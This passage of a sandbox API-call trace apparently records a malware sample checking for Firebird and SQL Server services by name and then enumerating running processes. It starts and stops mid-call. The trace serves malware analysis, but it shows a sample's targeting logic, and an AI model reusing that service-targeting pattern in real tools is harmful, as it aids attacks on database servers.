(lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0112.311] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0112.311] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0112.311] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0112.311] lstrlenW (lpString="LSM") returned 3 [0112.311] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0112.311] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0112.311] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0112.311] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0112.311] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0112.312] lstrlenW (lpString="MpsSvc") returned 6 [0112.312] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0112.312] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0112.312] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0112.312] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0112.312] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0112.312] lstrlenW (lpString="NcbService") returned 10 [0112.312] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0112.312] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0112.312] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0112.312] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0112.312] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0112.312] lstrlenW (lpString="netprofm") returned 8 [0112.312] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0112.312] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0112.312] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0112.312] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0112.312] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0112.312] lstrlenW (lpString="NlaSvc") returned 6 [0112.312] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0112.312] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0112.312] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0112.312] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0112.312] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0112.312] lstrlenW (lpString="nsi") returned 3 [0112.312] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0112.312] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0112.312] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0112.312] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0112.312] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0112.312] lstrlenW (lpString="PcaSvc") returned 6 [0112.312] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0112.312] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0112.313] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0112.313] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0112.313] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0112.313] lstrlenW (lpString="PlugPlay") returned 8 [0112.313] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0112.313] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0112.313] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0112.313] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0112.313] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0112.313] lstrlenW (lpString="Power") returned 5 [0112.313] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0112.313] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0112.313] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0112.313] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0112.313] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0112.313] lstrlenW (lpString="ProfSvc") returned 7 [0112.313] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0112.313] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0112.313] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0112.313] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0112.313] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0112.313] lstrlenW (lpString="RpcEptMapper") returned 12 [0112.313] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0112.313] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0112.313] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0112.313] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0112.313] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0112.313] lstrlenW (lpString="RpcSs") returned 5 [0112.313] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0112.313] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0112.313] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0112.313] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0112.313] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0112.314] lstrlenW (lpString="SamSs") returned 5 [0112.314] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0112.314] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0112.314] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0112.314] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0112.314] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0112.314] lstrlenW (lpString="Schedule") returned 8 [0112.314] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0112.314] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0112.314] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0112.314] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0112.314] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0112.314] lstrlenW (lpString="SecurityHealthService") returned 21 [0112.314] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0112.314] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0112.314] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0112.314] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0112.314] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0112.314] lstrlenW (lpString="SENS") returned 4 [0112.314] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0112.314] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0112.314] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0112.314] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0112.314] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0112.314] lstrlenW (lpString="ShellHWDetection") returned 16 [0112.314] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0112.314] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0112.314] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0112.314] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0112.314] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0112.314] lstrlenW (lpString="Spooler") returned 7 [0112.314] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0112.314] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0112.315] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0112.315] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0112.315] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0112.315] lstrlenW (lpString="sppsvc") returned 6 [0112.315] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="sppsvc") returned -1 [0112.315] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="sppsvc") returned -1 [0112.315] lstrcmpiW (lpString1="sqlwriter", lpString2="sppsvc") returned 1 [0112.315] lstrcmpiW (lpString1="mssqlserver", lpString2="sppsvc") returned -1 [0112.315] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="sppsvc") returned 1 [0112.315] lstrlenW (lpString="SSDPSRV") returned 7 [0112.315] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0112.315] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0112.315] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0112.315] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0112.315] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x617720 | out: hHeap=0x5c0000) returned 1 [0112.315] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2f4 [0112.319] Process32FirstW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0112.322] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0112.323] lstrlenW (lpString="System") returned 6 [0112.323] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0112.323] lstrlenW (lpString="smss.exe") returned 8 [0112.323] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0112.324] lstrlenW (lpString="csrss.exe") returned 9 [0112.324] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0112.325] lstrlenW (lpString="wininit.exe") returned 11 [0112.325] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0112.326] lstrlenW (lpString="csrss.exe") returned 9 [0112.326] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0112.326] lstrlenW (lpString="winlogon.exe") returned 12 [0112.326] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0112.327] lstrlenW (lpString="services.exe") returned 12 [0112.327] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0112.328] lstrlenW (lpString="lsass.exe") returned 9 [0112.328] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0112.328] lstrlenW (lpString="svchost.exe") returned 11 [0112.328] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0112.329] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0112.329] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0112.330] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0112.330] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0112.330] lstrlenW (lpString="svchost.exe") returned 11 [0112.330] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0112.331] lstrlenW (lpString="dwm.exe") returned 7 [0112.331] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0112.332] lstrlenW (lpString="svchost.exe") returned 11 [0112.332] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0112.332] lstrlenW (lpString="svchost.exe") returned 11 [0112.332] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0112.333] lstrlenW (lpString="svchost.exe") returned 11 [0112.333] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0112.334] lstrlenW (lpString="svchost.exe") returned 11 [0112.334] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0112.334] lstrlenW (lpString="svchost.exe") returned 11 [0112.335] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0112.336] lstrlenW (lpString="svchost.exe") returned 11 [0112.336] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0112.336] lstrlenW (lpString="svchost.exe") returned 11 [0112.336] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0112.337] lstrlenW (lpString="svchost.exe") returned 11 [0112.337] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0112.338] lstrlenW (lpString="svchost.exe") returned 11 [0112.338] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0112.338] lstrlenW (lpString="spoolsv.exe") returned 11 [0112.338] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0112.339] lstrlenW (lpString="svchost.exe") returned 11 [0112.339] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0112.340] lstrlenW (lpString="svchost.exe") returned 11 [0112.340] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0112.340] lstrlenW (lpString="audiodg.exe") returned 11 [0112.340] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0112.341] lstrlenW (lpString="sihost.exe") returned 10 [0112.341] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0112.342] lstrlenW (lpString="svchost.exe") returned 11 [0112.342] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0112.343] lstrlenW (lpString="taskhostw.exe") returned 13 [0112.343] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0112.343] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0112.343] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0112.344] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0112.344] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3a, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0112.345] lstrlenW (lpString="explorer.exe") returned 12 [0112.345] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0112.345] lstrlenW (lpString="Memory Compression") returned 18 [0112.345] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0112.346] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0112.346] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0112.347] lstrlenW (lpString="SearchUI.exe") returned 12 [0112.347] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0112.347] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0112.347] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0112.348] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0112.348] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0112.349] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0112.349] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0112.350] lstrlenW (lpString="UNPCampaignManager.exe") returned 22 [0112.350] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfdc, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0112.350] lstrlenW (lpString="conhost.exe") returned 11 [0112.350] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="screensaver-fireplace-subdivision.exe")) returned 1 [0112.351] lstrlenW (lpString="screensaver-fireplace-subdivision.exe") returned 37 [0112.351] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="upper arc.exe")) returned 1 [0112.352] lstrlenW (lpString="upper arc.exe") returned 13 [0112.352] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="buying-defeat-preston.exe")) returned 1 [0112.353] lstrlenW (lpString="buying-defeat-preston.exe") returned 25 [0112.353] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x668, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="isolated-concerned.exe")) 